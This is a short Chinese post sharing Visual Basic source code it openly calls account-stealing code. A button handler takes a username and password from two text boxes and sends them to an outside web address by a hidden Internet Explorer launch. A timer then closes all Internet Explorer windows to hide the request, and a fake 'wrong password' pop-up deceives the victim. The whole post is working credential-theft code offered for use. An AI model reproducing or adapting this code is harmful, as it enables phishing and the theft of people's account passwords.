觉得有用的拿去 高手可以忽略
VB盗号编码
Option Explicit
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Const WM_CLOSE = &H10
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Boolean
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Public Function KILLIE(ByVal hwnd As Long, ByVal lParam As Long) As Boolean
Dim classname As String
Dim str5 As String
Dim len5 As Long, i As Long
str5 = String(255, 0)
len5 = 256
GetClassName hwnd, str5, 256
classname = Left(str5, InStr(1, str5, Chr(0)) - 1)
Debug.Print classname
If classname = "IEFrame" Then
PostMessage hwnd, WM_CLOSE, 0&, 0&
End If
KILLIE = True
End Function
下面是按钮的
Private Sub Command1_Click()
Dim a As String
Dim b As String
a = Text1.Text
b = Text2.Text
Shell "C:\Program Files\Internet Explorer\iexplore.exe http://www.592bl.com/test.asp?name=" + a + "&pass=" + b, vbHide
Timer1.Enabled = True
End Sub
进程终止代码
Private Sub Timer1_Timer()
EnumWindows AddressOf KILLIE, 0&
Timer1.Enabled = False
End Sub
弹窗口
MsgBox "密码错误", 5, "提示"